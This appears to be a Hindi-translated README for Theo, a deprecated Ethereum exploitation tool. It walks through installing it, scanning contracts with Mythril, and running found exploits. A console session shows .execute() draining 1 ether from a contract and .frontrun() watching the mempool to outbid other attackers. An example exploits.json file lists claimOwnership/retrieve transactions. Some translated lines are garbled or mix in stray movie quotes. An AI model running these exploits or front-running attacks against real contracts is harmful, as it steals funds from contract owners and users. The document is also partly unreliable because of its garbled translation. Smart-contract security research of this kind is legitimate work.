
ईथरियम रीकॉन और शोषण उपकरण।
अप्रचलित, अब इसे बनाए नहीं रखा गया, इसे इंस्टॉल न करें, इसका उपयोग न करें, आपको चेतावनी दी गई थी!
Theo का उद्देश्य एक शोषण ढांचा और ब्लॉकचेन रिकॉन और इंटरैक्शन टूल होना है।
विशेषताएँ:
वह काम से Karl को जानता है।
Theo का उद्देश्य उन स्क्रिप्ट किडीज़ से लड़ना है जो लीट हैकर बनने की कोशिश करते हैं। वह उन्हें अपने हनीपॉट्स का शोषण करने की कोशिश करते हुए सुन सकता है और अपने लाभ के लिए उनके फंड खो सकता है।
"आप मुझे मेरे आकर्षक व्यक्तित्व के लिए साथ नहीं लाए।"
Theo एक PyPI पैकेज के रूप में उपलब्ध है:
$ pip install theo
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
[--account-pk ACCOUNT_PK] [--contract ADDRESS]
[--skip-mythril SKIP_MYTHRIL] [--load-file LOAD_FILE] [--version]
Monitor contracts for balance changes or tx pool.
optional arguments:
-h, --help show this help message and exit
--rpc-http RPC_HTTP Connect to this HTTP RPC (default:
http://127.0.0.1:8545)
--account-pk ACCOUNT_PK
The account's private key (default: None)
--contract ADDRESS Contract to monitor (default: None)
--skip-mythril SKIP_MYTHRIL
Don't try to find exploits with Mythril (default:
False)
--load-file LOAD_FILE
Load exploit from file (default: )
--version show program's version number and exit
RPC connections:
--rpc-ws RPC_WS Connect to this WebSockets RPC (default: None)
--rpc-ipc RPC_IPC Connect to this IPC RPC (default: None)
स्रोतों से स्थापित करें
$ git clone https://github.com/cleanunicorn/theo
$ cd theo
$ virtualenv ./venv
$ . ./venv/bin/activate
$ pip install -r requirements.txt
$ pip install -e .
$ theo --help
आवश्यकताएँ:
एक स्मार्ट अनुबंध स्कैन करें, शोषण खोजें, उसका शोषण करें:
हनीपॉट सेट करें, हनीपॉट तैनात करें, हमलावर की प्रतीक्षा करें, फ्रंटरन करें:
पहले सहायता स्क्रीन देखना एक अच्छा विचार है।
$ theo --help
usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC]
[--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril]
[--load-file LOAD_FILE] [--version]
Monitor contracts for balance changes or tx pool.
optional arguments:
-h, --help show this help message and exit
--rpc-http RPC_HTTP Connect to this HTTP RPC (default:
http://127.0.0.1:8545)
--account-pk ACCOUNT_PK
The account's private key (default: None)
--contract ADDRESS Contract to interact with (default: None)
--skip-mythril Skip scanning the contract with Mythril (default:
False)
--load-file LOAD_FILE
Load exploit from file (default: )
--version show program's version number and exit
RPC connections:
--rpc-ws RPC_WS Connect to this WebSockets RPC (default: None)
--rpc-ipc RPC_IPC Connect to this IPC RPC (default: None)
mythril का उपयोग करके शोषणों की एक सूची स्वचालित रूप से पहचानी जाती है।
चलाकर एक सत्र प्रारंभ करें:
$ theo --contract=<scanned contract> --account-pk=<your private key>
Scanning for exploits in contract: 0xa586074fa4fe3e546a132a16238abe37951d41fe
Connecting to HTTP: http://127.0.0.1:8545.
Found exploits(s):
[Exploit: (txs=[Transaction {Data: 0xcf7a8965, Value: 1000000000000000000}])]
A few objects are available in the console:
- `exploits` is an array of loaded exploits found by Mythril or read from a file
- `w3` an initialized instance of web3py for the provided HTTP RPC endpoint
Check the readme for more info:
https://github.com/cleanunicorn/theo
>>>
यह अनुबंध का विश्लेषण करेगा और उपलब्ध शोषणों की एक सूची ढूंढेगा।
आप मिले उपलब्ध शोषणों को देख सकते हैं। इस मामले में एक शोषण मिला। प्रत्येक शोषण एक Exploit ऑब्जेक्ट है।
>>> exploits[0]
Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])
शोषण ऑब्जेक्ट पर .execute() कॉल करके शोषण चरणों को चलाया जा सकता है। लेन-देन पर हस्ताक्षर किए जाएंगे और आप जिस नोड से जुड़े हैं उसे भेजे जाएंगे।
>>> exploits[0].execute()
2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47}
2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined...
2019-07-22 11:26:16,337 - Mined
2019-07-22 11:26:16,341 - Initial balance: 1155999450759997797167 (1156.00 ether)
2019-07-22 11:26:16,342 - Final balance: 1156999450759997768901 (1157.00 ether)
आप हनीपॉट का शोषण करने की कोशिश कर रहे अन्य हैकर्स को सुनने के लिए फ्रंटरनिंग मॉनिटर शुरू कर सकते हैं।
शोषण को सुनना शुरू करने के लिए .frontrun() का उपयोग करें और जब मिल जाए, तो उच्च गैस मूल्य के साथ एक लेन-देन भेजें।
>>> exploits[0].frontrun()
2019-07-22 11:22:26,285 - Scanning the mem pool for transactions...
2019-07-22 11:22:45,369 - Found tx: 0xf6041abe6e547cea93e80a451fdf53e6bdae67820244246fde44098f91ce1c20
2019-07-22 11:22:45,375 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': '0x2', 'data': '0xcf7a8965', 'gas': 30522, 'value': 1000000000000000000, 'nonce': 45}
2019-07-22 11:22:45,380 - Waiting for 0xa73316daf806e7eef83d09e467c32ce5faa239c6eda3a270a8ce7a7aae48fb7e to be mined...
2019-07-22 11:22:56,852 - Mined
"Oh, my God! The quarterback is toast!"
यह कुछ विशेष रूप से तैयार किए गए अनुबंधों या कुछ अन्य कमजोर अनुबंधों के लिए बहुत अच्छी तरह से काम करता है, जब तक आप सुनिश्चित करते हैं कि फ्रंटरनिंग आपके पक्ष में है।
mythril के साथ शोषणों की पहचान करने के बजाय, आप स्वयं शोषणों की सूची निर्दिष्ट कर सकते हैं।
एक फ़ाइल बनाएं जो इस exploits.json जैसी दिखती है:
[
[
{
"name": "claimOwnership()",
"input": "0x4e71e0c8",
"value": "0xde0b6b3a7640000"
},
{
"name": "retrieve()",
"input": "0x2e64cec1",
"value": "0x0"
}
],
[
{
"name": "claimOwnership()",
"input": "0x4e71e0c8",
"value": "0xde0b6b3a7640000"
}
]
]
यह एक 2 शोषणों को परिभाषित करता है, पहले में 2 लेन-देन हैं और दूसरे में केवल 1 लेन-देन है।
आप इसे इस प्रकार लोड कर सकते हैं:
$ theo --load-file=./exploits.json
यदि आपको यह त्रुटि मिलती है, तो आपको libssl स्रोत लाइब्रेरीज़ की आवश्यकता है:
scrypt-1.2.1/libcperciva/crypto/crypto_aes.c:6:10: fatal error: openssl/aes.h: No such file or directory
#include <openssl/aes.h>
^~~~~~~~~~~~~~~
compilation terminated.
error: command 'x86_64-linux-gnu-gcc' failed with exit status 1
----------------------------------------
Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-5rl4ep94/scrypt/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-mnbzx9qe-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-5rl4ep94/scrypt/
Ubuntu पर आप इन्हें इस प्रकार स्थापित कर सकते हैं:
$ sudo apt install libssl-dev